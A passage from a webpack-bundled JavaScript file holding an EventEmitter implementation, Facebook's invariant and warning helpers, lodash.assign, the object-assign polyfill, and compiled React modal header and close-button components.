if (typeof console.trace === 'function') {
// not supported in IE 10
console.trace();
}
}
}
return this;
};
EventEmitter.prototype.on = EventEmitter.prototype.addListener;
EventEmitter.prototype.once = function(type, listener) {
if (!isFunction(listener))
throw TypeError('listener must be a function');
var fired = false;
function g() {
this.removeListener(type, g);
if (!fired) {
fired = true;
listener.apply(this, arguments);
}
}
g.listener = listener;
this.on(type, g);
return this;
};
// emits a 'removeListener' event iff the listener was removed
EventEmitter.prototype.removeListener = function(type, listener) {
var list, position, length, i;
if (!isFunction(listener))
throw TypeError('listener must be a function');
if (!this._events || !this._events[type])
return this;
list = this._events[type];
length = list.length;
position = -1;
if (list === listener ||
(isFunction(list.listener) && list.listener === listener)) {
delete this._events[type];
if (this._events.removeListener)
this.emit('removeListener', type, listener);
} else if (isObject(list)) {
for (i = length; i-- > 0;) {
if (list[i] === listener ||
(list[i].listener && list[i].listener === listener)) {
position = i;
break;
}
}
if (position < 0)
return this;
if (list.length === 1) {
list.length = 0;
delete this._events[type];
} else {
list.splice(position, 1);
}
if (this._events.removeListener)
this.emit('removeListener', type, listener);
}
return this;
};
EventEmitter.prototype.removeAllListeners = function(type) {
var key, listeners;
if (!this._events)
return this;
// not listening for removeListener, no need to emit
if (!this._events.removeListener) {
if (arguments.length === 0)
this._events = {};
else if (this._events[type])
delete this._events[type];
return this;
}
// emit removeListener for all listeners on all events
if (arguments.length === 0) {
for (key in this._events) {
if (key === 'removeListener') continue;
this.removeAllListeners(key);
}
this.removeAllListeners('removeListener');
this._events = {};
return this;
}
listeners = this._events[type];
if (isFunction(listeners)) {
this.removeListener(type, listeners);
} else if (listeners) {
// LIFO order
while (listeners.length)
this.removeListener(type, listeners[listeners.length - 1]);
}
delete this._events[type];
return this;
};
EventEmitter.prototype.listeners = function(type) {
var ret;
if (!this._events || !this._events[type])
ret = [];
else if (isFunction(this._events[type]))
ret = [this._events[type]];
else
ret = this._events[type].slice();
return ret;
};
EventEmitter.prototype.listenerCount = function(type) {
if (this._events) {
var evlistener = this._events[type];
if (isFunction(evlistener))
return 1;
else if (evlistener)
return evlistener.length;
}
return 0;
};
EventEmitter.listenerCount = function(emitter, type) {
return emitter.listenerCount(type);
};
function isFunction(arg) {
return typeof arg === 'function';
}
function isNumber(arg) {
return typeof arg === 'number';
}
function isObject(arg) {
return typeof arg === 'object' && arg !== null;
}
function isUndefined(arg) {
return arg === void 0;
}
/***/ }),
/* 57 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
/**
* Copyright (c) 2013-present, Facebook, Inc.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
*
*/
function makeEmptyFunction(arg) {
return function () {
return arg;
};
}
/**
* This function accepts and discards inputs; it has no side effects. This is
* primarily useful idiomatically for overridable function endpoints which
* always need to be callable, since JS lacks a null-call idiom ala Cocoa.
*/
var emptyFunction = function emptyFunction() {};
emptyFunction.thatReturns = makeEmptyFunction;
emptyFunction.thatReturnsFalse = makeEmptyFunction(false);
emptyFunction.thatReturnsTrue = makeEmptyFunction(true);
emptyFunction.thatReturnsNull = makeEmptyFunction(null);
emptyFunction.thatReturnsThis = function () {
return this;
};
emptyFunction.thatReturnsArgument = function (arg) {
return arg;
};
module.exports = emptyFunction;
/***/ }),
/* 58 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
/* WEBPACK VAR INJECTION */(function(process) {/**
* Copyright (c) 2013-present, Facebook, Inc.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
*/
/**
* Use invariant() to assert state which your program assumes to be true.
*
* Provide sprintf-style format (only %s is supported) and arguments
* to provide information about what broke and what you were
* expecting.
*
* The invariant message will be stripped in production, but the invariant
* will remain to ensure logic does not differ in production.
*/
var validateFormat = function validateFormat(format) {};
if (process.env.NODE_ENV !== 'production') {
validateFormat = function validateFormat(format) {
if (format === undefined) {
throw new Error('invariant requires an error message argument');
}
};
}
function invariant(condition, format, a, b, c, d, e, f) {
validateFormat(format);
if (!condition) {
var error;
if (format === undefined) {
error = new Error('Minified exception occurred; use the non-minified dev environment ' + 'for the full error message and additional helpful warnings.');
} else {
var args = [a, b, c, d, e, f];
var argIndex = 0;
error = new Error(format.replace(/%s/g, function () {
return args[argIndex++];
}));
error.name = 'Invariant Violation';
}
error.framesToPop = 1; // we don't care about invariant's own frame
throw error;
}
}
module.exports = invariant;
/* WEBPACK VAR INJECTION */}.call(exports, __webpack_require__(2)))
/***/ }),
/* 59 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
/* WEBPACK VAR INJECTION */(function(process) {/**
* Copyright (c) 2014-present, Facebook, Inc.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
*/
var emptyFunction = __webpack_require__(57);
/**
* Similar to invariant but only logs a warning if the condition is not met.
* This can be used to log issues in development environments in critical
* paths. Removing the logging code for production environments will keep the
* same logic and follow the same code paths.
*/
var warning = emptyFunction;
if (process.env.NODE_ENV !== 'production') {
var printWarning = function printWarning(format) {
for (var _len = arguments.length, args = Array(_len > 1 ? _len - 1 : 0), _key = 1; _key < _len; _key++) {
args[_key - 1] = arguments[_key];
}
var argIndex = 0;
var message = 'Warning: ' + format.replace(/%s/g, function () {
return args[argIndex++];
});
if (typeof console !== 'undefined') {
console.error(message);
}
try {
// --- Welcome to debugging React ---
// This error was thrown as a convenience so that you can use this stack
// to find the callsite that caused this warning to fire.
throw new Error(message);
} catch (x) {}
};
warning = function warning(condition, format) {
if (format === undefined) {
throw new Error('`warning(condition, format, ...args)` requires a warning ' + 'message argument');
}
if (format.indexOf('Failed Composite propType: ') === 0) {
return; // Ignore CompositeComponent proptype check.
}
if (!condition) {
for (var _len2 = arguments.length, args = Array(_len2 > 2 ? _len2 - 2 : 0), _key2 = 2; _key2 < _len2; _key2++) {
args[_key2 - 2] = arguments[_key2];
}
printWarning.apply(undefined, [format].concat(args));
}
};
}
module.exports = warning;
/* WEBPACK VAR INJECTION */}.call(exports, __webpack_require__(2)))
/***/ }),
/* 60 */
/***/ (function(module, exports) {
/**
* lodash (Custom Build) <https://lodash.com/>
* Build: `lodash modularize exports="npm" -o ./`
* Copyright jQuery Foundation and other contributors <https://jquery.org/>
* Released under MIT license <https://lodash.com/license>
* Based on Underscore.js 1.8.3 <http://underscorejs.org/LICENSE>
* Copyright Jeremy Ashkenas, DocumentCloud and Investigative Reporters & Editors
*/
/** Used as references for various `Number` constants. */
var MAX_SAFE_INTEGER = 9007199254740991;
/** `Object#toString` result references. */
var argsTag = '[object Arguments]',
funcTag = '[object Function]',
genTag = '[object GeneratorFunction]';
/** Used to detect unsigned integer values. */
var reIsUint = /^(?:0|[1-9]\d*)$/;
/**
* A faster alternative to `Function#apply`, this function invokes `func`
* with the `this` binding of `thisArg` and the arguments of `args`.
*
* @private
* @param {Function} func The function to invoke.
* @param {*} thisArg The `this` binding of `func`.
* @param {Array} args The arguments to invoke `func` with.
* @returns {*} Returns the result of `func`.
*/
function apply(func, thisArg, args) {
switch (args.length) {
case 0: return func.call(thisArg);
case 1: return func.call(thisArg, args[0]);
case 2: return func.call(thisArg, args[0], args[1]);
case 3: return func.call(thisArg, args[0], args[1], args[2]);
}
return func.apply(thisArg, args);
}
/**
* The base implementation of `_.times` without support for iteratee shorthands
* or max array length checks.
*
* @private
* @param {number} n The number of times to invoke `iteratee`.
* @param {Function} iteratee The function invoked per iteration.
* @returns {Array} Returns the array of results.
*/
function baseTimes(n, iteratee) {
var index = -1,
result = Array(n);
while (++index < n) {
result[index] = iteratee(index);
}
return result;
}
/**
* Creates a unary function that invokes `func` with its argument transformed.
*
* @private
* @param {Function} func The function to wrap.
* @param {Function} transform The argument transform.
* @returns {Function} Returns the new function.
*/
function overArg(func, transform) {
return function(arg) {
return func(transform(arg));
};
}
/** Used for built-in method references. */
var objectProto = Object.prototype;
/** Used to check objects for own properties. */
var hasOwnProperty = objectProto.hasOwnProperty;
/**
* Used to resolve the
* [`toStringTag`](http://ecma-international.org/ecma-262/7.0/#sec-object.prototype.tostring)
* of values.
*/
var objectToString = objectProto.toString;
/** Built-in value references. */
var propertyIsEnumerable = objectProto.propertyIsEnumerable;
/* Built-in method references for those with the same name as other `lodash` methods. */
var nativeKeys = overArg(Object.keys, Object),
nativeMax = Math.max;
/** Detect if properties shadowing those on `Object.prototype` are non-enumerable. */
var nonEnumShadows = !propertyIsEnumerable.call({ 'valueOf': 1 }, 'valueOf');
/**
* Creates an array of the enumerable property names of the array-like `value`.
*
* @private
* @param {*} value The value to query.
* @param {boolean} inherited Specify returning inherited property names.
* @returns {Array} Returns the array of property names.
*/
function arrayLikeKeys(value, inherited) {
// Safari 8.1 makes `arguments.callee` enumerable in strict mode.
// Safari 9 makes `arguments.length` enumerable in strict mode.
var result = (isArray(value) || isArguments(value))
? baseTimes(value.length, String)
: [];
var length = result.length,
skipIndexes = !!length;
for (var key in value) {
if ((inherited || hasOwnProperty.call(value, key)) &&
!(skipIndexes && (key == 'length' || isIndex(key, length)))) {
result.push(key);
}
}
return result;
}
/**
* Assigns `value` to `key` of `object` if the existing value is not equivalent
* using [`SameValueZero`](http://ecma-international.org/ecma-262/7.0/#sec-samevaluezero)
* for equality comparisons.
*
* @private
* @param {Object} object The object to modify.
* @param {string} key The key of the property to assign.
* @param {*} value The value to assign.
*/
function assignValue(object, key, value) {
var objValue = object[key];
if (!(hasOwnProperty.call(object, key) && eq(objValue, value)) ||
(value === undefined && !(key in object))) {
object[key] = value;
}
}
/**
* The base implementation of `_.keys` which doesn't treat sparse arrays as dense.
*
* @private
* @param {Object} object The object to query.
* @returns {Array} Returns the array of property names.
*/
function baseKeys(object) {
if (!isPrototype(object)) {
return nativeKeys(object);
}
var result = [];
for (var key in Object(object)) {
if (hasOwnProperty.call(object, key) && key != 'constructor') {
result.push(key);
}
}
return result;
}
/**
* The base implementation of `_.rest` which doesn't validate or coerce arguments.
*
* @private
* @param {Function} func The function to apply a rest parameter to.
* @param {number} [start=func.length-1] The start position of the rest parameter.
* @returns {Function} Returns the new function.
*/
function baseRest(func, start) {
start = nativeMax(start === undefined ? (func.length - 1) : start, 0);
return function() {
var args = arguments,
index = -1,
length = nativeMax(args.length - start, 0),
array = Array(length);
while (++index < length) {
array[index] = args[start + index];
}
index = -1;
var otherArgs = Array(start + 1);
while (++index < start) {
otherArgs[index] = args[index];
}
otherArgs[start] = array;
return apply(func, this, otherArgs);
};
}
/**
* Copies properties of `source` to `object`.
*
* @private
* @param {Object} source The object to copy properties from.
* @param {Array} props The property identifiers to copy.
* @param {Object} [object={}] The object to copy properties to.
* @param {Function} [customizer] The function to customize copied values.
* @returns {Object} Returns `object`.
*/
function copyObject(source, props, object, customizer) {
object || (object = {});
var index = -1,
length = props.length;
while (++index < length) {
var key = props[index];
var newValue = customizer
? customizer(object[key], source[key], key, object, source)
: undefined;
assignValue(object, key, newValue === undefined ? source[key] : newValue);
}
return object;
}
/**
* Creates a function like `_.assign`.
*
* @private
* @param {Function} assigner The function to assign values.
* @returns {Function} Returns the new assigner function.
*/
function createAssigner(assigner) {
return baseRest(function(object, sources) {
var index = -1,
length = sources.length,
customizer = length > 1 ? sources[length - 1] : undefined,
guard = length > 2 ? sources[2] : undefined;
customizer = (assigner.length > 3 && typeof customizer == 'function')
? (length--, customizer)
: undefined;
if (guard && isIterateeCall(sources[0], sources[1], guard)) {
customizer = length < 3 ? undefined : customizer;
length = 1;
}
object = Object(object);
while (++index < length) {
var source = sources[index];
if (source) {
assigner(object, source, index, customizer);
}
}
return object;
});
}
/**
* Checks if `value` is a valid array-like index.
*
* @private
* @param {*} value The value to check.
* @param {number} [length=MAX_SAFE_INTEGER] The upper bounds of a valid index.
* @returns {boolean} Returns `true` if `value` is a valid index, else `false`.
*/
function isIndex(value, length) {
length = length == null ? MAX_SAFE_INTEGER : length;
return !!length &&
(typeof value == 'number' || reIsUint.test(value)) &&
(value > -1 && value % 1 == 0 && value < length);
}
/**
* Checks if the given arguments are from an iteratee call.
*
* @private
* @param {*} value The potential iteratee value argument.
* @param {*} index The potential iteratee index or key argument.
* @param {*} object The potential iteratee object argument.
* @returns {boolean} Returns `true` if the arguments are from an iteratee call,
* else `false`.
*/
function isIterateeCall(value, index, object) {
if (!isObject(object)) {
return false;
}
var type = typeof index;
if (type == 'number'
? (isArrayLike(object) && isIndex(index, object.length))
: (type == 'string' && index in object)
) {
return eq(object[index], value);
}
return false;
}
/**
* Checks if `value` is likely a prototype object.
*
* @private
* @param {*} value The value to check.
* @returns {boolean} Returns `true` if `value` is a prototype, else `false`.
*/
function isPrototype(value) {
var Ctor = value && value.constructor,
proto = (typeof Ctor == 'function' && Ctor.prototype) || objectProto;
return value === proto;
}
/**
* Performs a
* [`SameValueZero`](http://ecma-international.org/ecma-262/7.0/#sec-samevaluezero)
* comparison between two values to determine if they are equivalent.
*
* @static
* @memberOf _
* @since 4.0.0
* @category Lang
* @param {*} value The value to compare.
* @param {*} other The other value to compare.
* @returns {boolean} Returns `true` if the values are equivalent, else `false`.
* @example
*
* var object = { 'a': 1 };
* var other = { 'a': 1 };
*
* _.eq(object, object);
* // => true
*
* _.eq(object, other);
* // => false
*
* _.eq('a', 'a');
* // => true
*
* _.eq('a', Object('a'));
* // => false
*
* _.eq(NaN, NaN);
* // => true
*/
function eq(value, other) {
return value === other || (value !== value && other !== other);
}
/**
* Checks if `value` is likely an `arguments` object.
*
* @static
* @memberOf _
* @since 0.1.0
* @category Lang
* @param {*} value The value to check.
* @returns {boolean} Returns `true` if `value` is an `arguments` object,
* else `false`.
* @example
*
* _.isArguments(function() { return arguments; }());
* // => true
*
* _.isArguments([1, 2, 3]);
* // => false
*/
function isArguments(value) {
// Safari 8.1 makes `arguments.callee` enumerable in strict mode.
return isArrayLikeObject(value) && hasOwnProperty.call(value, 'callee') &&
(!propertyIsEnumerable.call(value, 'callee') || objectToString.call(value) == argsTag);
}
/**
* Checks if `value` is classified as an `Array` object.
*
* @static
* @memberOf _
* @since 0.1.0
* @category Lang
* @param {*} value The value to check.
* @returns {boolean} Returns `true` if `value` is an array, else `false`.
* @example
*
* _.isArray([1, 2, 3]);
* // => true
*
* _.isArray(document.body.children);
* // => false
*
* _.isArray('abc');
* // => false
*
* _.isArray(_.noop);
* // => false
*/
var isArray = Array.isArray;
/**
* Checks if `value` is array-like. A value is considered array-like if it's
* not a function and has a `value.length` that's an integer greater than or
* equal to `0` and less than or equal to `Number.MAX_SAFE_INTEGER`.
*
* @static
* @memberOf _
* @since 4.0.0
* @category Lang
* @param {*} value The value to check.
* @returns {boolean} Returns `true` if `value` is array-like, else `false`.
* @example
*
* _.isArrayLike([1, 2, 3]);
* // => true
*
* _.isArrayLike(document.body.children);
* // => true
*
* _.isArrayLike('abc');
* // => true
*
* _.isArrayLike(_.noop);
* // => false
*/
function isArrayLike(value) {
return value != null && isLength(value.length) && !isFunction(value);
}
/**
* This method is like `_.isArrayLike` except that it also checks if `value`
* is an object.
*
* @static
* @memberOf _
* @since 4.0.0
* @category Lang
* @param {*} value The value to check.
* @returns {boolean} Returns `true` if `value` is an array-like object,
* else `false`.
* @example
*
* _.isArrayLikeObject([1, 2, 3]);
* // => true
*
* _.isArrayLikeObject(document.body.children);
* // => true
*
* _.isArrayLikeObject('abc');
* // => false
*
* _.isArrayLikeObject(_.noop);
* // => false
*/
function isArrayLikeObject(value) {
return isObjectLike(value) && isArrayLike(value);
}
/**
* Checks if `value` is classified as a `Function` object.
*
* @static
* @memberOf _
* @since 0.1.0
* @category Lang
* @param {*} value The value to check.
* @returns {boolean} Returns `true` if `value` is a function, else `false`.
* @example
*
* _.isFunction(_);
* // => true
*
* _.isFunction(/abc/);
* // => false
*/
function isFunction(value) {
// The use of `Object#toString` avoids issues with the `typeof` operator
// in Safari 8-9 which returns 'object' for typed array and other constructors.
var tag = isObject(value) ? objectToString.call(value) : '';
return tag == funcTag || tag == genTag;
}
/**
* Checks if `value` is a valid array-like length.
*
* **Note:** This method is loosely based on
* [`ToLength`](http://ecma-international.org/ecma-262/7.0/#sec-tolength).
*
* @static
* @memberOf _
* @since 4.0.0
* @category Lang
* @param {*} value The value to check.
* @returns {boolean} Returns `true` if `value` is a valid length, else `false`.
* @example
*
* _.isLength(3);
* // => true
*
* _.isLength(Number.MIN_VALUE);
* // => false
*
* _.isLength(Infinity);
* // => false
*
* _.isLength('3');
* // => false
*/
function isLength(value) {
return typeof value == 'number' &&
value > -1 && value % 1 == 0 && value <= MAX_SAFE_INTEGER;
}
/**
* Checks if `value` is the
* [language type](http://www.ecma-international.org/ecma-262/7.0/#sec-ecmascript-language-types)
* of `Object`. (e.g. arrays, functions, objects, regexes, `new Number(0)`, and `new String('')`)
*
* @static
* @memberOf _
* @since 0.1.0
* @category Lang
* @param {*} value The value to check.
* @returns {boolean} Returns `true` if `value` is an object, else `false`.
* @example
*
* _.isObject({});
* // => true
*
* _.isObject([1, 2, 3]);
* // => true
*
* _.isObject(_.noop);
* // => true
*
* _.isObject(null);
* // => false
*/
function isObject(value) {
var type = typeof value;
return !!value && (type == 'object' || type == 'function');
}
/**
* Checks if `value` is object-like. A value is object-like if it's not `null`
* and has a `typeof` result of "object".
*
* @static
* @memberOf _
* @since 4.0.0
* @category Lang
* @param {*} value The value to check.
* @returns {boolean} Returns `true` if `value` is object-like, else `false`.
* @example
*
* _.isObjectLike({});
* // => true
*
* _.isObjectLike([1, 2, 3]);
* // => true
*
* _.isObjectLike(_.noop);
* // => false
*
* _.isObjectLike(null);
* // => false
*/
function isObjectLike(value) {
return !!value && typeof value == 'object';
}
/**
* Assigns own enumerable string keyed properties of source objects to the
* destination object. Source objects are applied from left to right.
* Subsequent sources overwrite property assignments of previous sources.
*
* **Note:** This method mutates `object` and is loosely based on
* [`Object.assign`](https://mdn.io/Object/assign).
*
* @static
* @memberOf _
* @since 0.10.0
* @category Object
* @param {Object} object The destination object.
* @param {...Object} [sources] The source objects.
* @returns {Object} Returns `object`.
* @see _.assignIn
* @example
*
* function Foo() {
* this.a = 1;
* }
*
* function Bar() {
* this.c = 3;
* }
*
* Foo.prototype.b = 2;
* Bar.prototype.d = 4;
*
* _.assign({ 'a': 0 }, new Foo, new Bar);
* // => { 'a': 1, 'c': 3 }
*/
var assign = createAssigner(function(object, source) {
if (nonEnumShadows || isPrototype(source) || isArrayLike(source)) {
copyObject(source, keys(source), object);
return;
}
for (var key in source) {
if (hasOwnProperty.call(source, key)) {
assignValue(object, key, source[key]);
}
}
});
/**
* Creates an array of the own enumerable property names of `object`.
*
* **Note:** Non-object values are coerced to objects. See the
* [ES spec](http://ecma-international.org/ecma-262/7.0/#sec-object.keys)
* for more details.
*
* @static
* @since 0.1.0
* @memberOf _
* @category Object
* @param {Object} object The object to query.
* @returns {Array} Returns the array of property names.
* @example
*
* function Foo() {
* this.a = 1;
* this.b = 2;
* }
*
* Foo.prototype.c = 3;
*
* _.keys(new Foo);
* // => ['a', 'b'] (iteration order is not guaranteed)
*
* _.keys('hi');
* // => ['0', '1']
*/
function keys(object) {
return isArrayLike(object) ? arrayLikeKeys(object) : baseKeys(object);
}
module.exports = assign;
/***/ }),
/* 61 */,
/* 62 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
/*
object-assign
(c) Sindre Sorhus
@license MIT
*/
/* eslint-disable no-unused-vars */
var getOwnPropertySymbols = Object.getOwnPropertySymbols;
var hasOwnProperty = Object.prototype.hasOwnProperty;
var propIsEnumerable = Object.prototype.propertyIsEnumerable;
function toObject(val) {
if (val === null || val === undefined) {
throw new TypeError('Object.assign cannot be called with null or undefined');
}
return Object(val);
}
function shouldUseNative() {
try {
if (!Object.assign) {
return false;
}
// Detect buggy property enumeration order in older V8 versions.
// https://bugs.chromium.org/p/v8/issues/detail?id=4118
var test1 = new String('abc'); // eslint-disable-line no-new-wrappers
test1[5] = 'de';
if (Object.getOwnPropertyNames(test1)[0] === '5') {
return false;
}
// https://bugs.chromium.org/p/v8/issues/detail?id=3056
var test2 = {};
for (var i = 0; i < 10; i++) {
test2['_' + String.fromCharCode(i)] = i;
}
var order2 = Object.getOwnPropertyNames(test2).map(function (n) {
return test2[n];
});
if (order2.join('') !== '0123456789') {
return false;
}
// https://bugs.chromium.org/p/v8/issues/detail?id=3056
var test3 = {};
'abcdefghijklmnopqrst'.split('').forEach(function (letter) {
test3[letter] = letter;
});
if (Object.keys(Object.assign({}, test3)).join('') !==
'abcdefghijklmnopqrst') {
return false;
}
return true;
} catch (err) {
// We don't expect any of the above to throw, but better to be safe.
return false;
}
}
module.exports = shouldUseNative() ? Object.assign : function (target, source) {
var from;
var to = toObject(target);
var symbols;
for (var s = 1; s < arguments.length; s++) {
from = Object(arguments[s]);
for (var key in from) {
if (hasOwnProperty.call(from, key)) {
to[key] = from[key];
}
}
if (getOwnPropertySymbols) {
symbols = getOwnPropertySymbols(from);
for (var i = 0; i < symbols.length; i++) {
if (propIsEnumerable.call(from, symbols[i])) {
to[symbols[i]] = from[symbols[i]];
}
}
}
}
return to;
};
/***/ }),
/* 63 */,
/* 64 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
var _close = __webpack_require__(65);
var _close2 = _interopRequireDefault(_close);
var _image = __webpack_require__(235);
var _image2 = _interopRequireDefault(_image);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var ModalHeader = function (_Component) {
_inherits(ModalHeader, _Component);
function ModalHeader(props) {
_classCallCheck(this, ModalHeader);
var _this = _possibleConstructorReturn(this, (ModalHeader.__proto__ || Object.getPrototypeOf(ModalHeader)).call(this, props));
_this.closeModal = _this.props.closeModal.bind(_this);
return _this;
}
_createClass(ModalHeader, [{
key: 'render',
value: function render() {
var children = _react2.default.Children.map(this.props.children, function (content) {
return content;
});
var alignment = !_.isUndefined(this.props.alignment) && '' !== this.props.alignment ? this.props.alignment : '';
var flatten = !_.isUndefined(this.props.flatten) && true === this.props.flatten ? true : false;
var hasClose = !_.isUndefined(this.props.canClose) && false === this.props.canClose ? false : true;
var closeType = !_.isUndefined(this.props.closeType) && '' !== this.props.closeType ? this.props.closeType : '';
// eslint-disable-next-line max-len
var closeColor = !_.isUndefined(this.props.closeColor) && '' !== this.props.closeColor ? this.props.closeColor : 'default';
// eslint-disable-next-line max-len
var hasImage = !_.isUndefined(this.props.imageName) && '' !== this.props.imageName ? true : false;
// eslint-disable-next-line max-len
var isLogo = !_.isUndefined(this.props.imageLogo) && true === this.props.imageLogo ? true : false;
var hasAlt = !_.isUndefined(this.props.imageAlt) && true === this.props.imageAlt ? this.props.imageAlt : '';
// eslint-disable-next-line max-len
var hasClass = !_.isUndefined(this.props.customClass) && '' !== this.props.customClass ? true : false;
var elClass = 'sui-box-header';
if ('' !== alignment) {
elClass += ' sui-content-' + alignment;
}
if (true === flatten) {
elClass += ' sui-flatten';
}
if (true === hasImage) {
elClass += ' sui-spacing-top--60';
}
if (true === hasClass) {
elClass += ' ' + this.props.customClass;
}
var markup = _react2.default.createElement(
'div',
{ className: elClass },
true === hasClose && _react2.default.createElement(_close2.default, _extends({
type: closeType,
float: 'right',
color: closeColor
}, hasClose && { closeModal: this.closeModal })),
true === hasImage && _react2.default.createElement(_image2.default, {
logo: isLogo,
filename: this.props.imageName,
alt: hasAlt
}),
children
);
if ('center' !== alignment) {
markup = _react2.default.createElement(
_react2.default.Fragment,
null,
true === hasClose && _react2.default.createElement(_close2.default, _extends({
sronly: true
}, hasClose && { closeModal: this.closeModal })),
_react2.default.createElement(
'div',
{ className: elClass },
true === hasImage && _react2.default.createElement(_image2.default, {
logo: isLogo,
filename: this.props.imageName,
alt: hasAlt
}),
children,
_react2.default.createElement(
'div',
{ className: 'sui-actions-right' },
true === hasClose && _react2.default.createElement(_close2.default, {
type: closeType,
color: closeColor,
closeModal: this.closeModal
})
)
)
);
}
return markup;
}
}]);
return ModalHeader;
}(_react.Component);
exports.default = ModalHeader;
/***/ }),
/* 65 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
var _utils = __webpack_require__(1);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var ModalClose = function (_Component) {
_inherits(ModalClose, _Component);
function ModalClose(props) {
_classCallCheck(this, ModalClose);
var _this = _possibleConstructorReturn(this, (ModalClose.__proto__ || Object.getPrototypeOf(ModalClose)).call(this, props));
_this.closeModal = _this.props.closeModal.bind(_this);
return _this;
}
_createClass(ModalClose, [{
key: 'render',
value: function render() {
var label = !_.isUndefined(this.props.label) && '' !== this.props.label ? this.props.label : (0, _utils.translate)('Close this dialog');
var color = !_.isUndefined(this.props.color) && '' !== this.props.color ? this.props.color : '';
var isIcon = !_.isUndefined(this.props.type) && 'icon' === this.props.type ? true : false;
var isHidden = !_.isUndefined(this.props.sronly) && true === this.props.sronly ? true : false;
var hasIcon = !_.isUndefined(this.props.icon) && '' !== this.props.icon ? true : false;
var floatsLeft = !_.isUndefined(this.props.float) && 'left' === this.props.float ? true : false;
var floatsRight = !_.isUndefined(this.props.float) && 'right' === this.props.float ? true : false;
// eslint-disable-next-line max-len
var hasCustomClass = !_.isUndefined(this.props.customClass) && '' !== this.props.customClass ? true : false;
var elClass = 'sui-button';
if (true === isHidden) {
elClass = 'sui-screen-reader-text';
} else if (false === isHidden && true === isIcon) {
elClass = 'sui-button-icon';
}
if (false === isHidden && '' !== color) {
elClass += ' sui-button-' + color;
}
if (false === isHidden && (true === floatsLeft || true === floatsRight)) {
elClass += ' sui-button-float--' + this.props.float;
}
if (true === hasCustomClass) {
elClass += ' ' + this.props.customClass;
}
elClass += ' modal-close-button';
return _react2.default.createElement(
'button',
{ className: elClass, onClick: this.closeModal },
true === isIcon && _react2.default.createElement('i', { className: 'sui-icon-close sui-md', 'aria-hidden': 'true' }),
true === hasIcon && _react2.default.createElement('i', { className: 'sui-icon-' + this.props.icon, 'aria-hidden': 'true' }),
true === isIcon ? _react2.default.createElement(
'span',
{ className: 'sui-screen-reader-text' },
label
) : label
);
}
}]);
return ModalClose;
}(_react.Component);
exports.default = ModalClose;
/***/ }),
/* 66 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
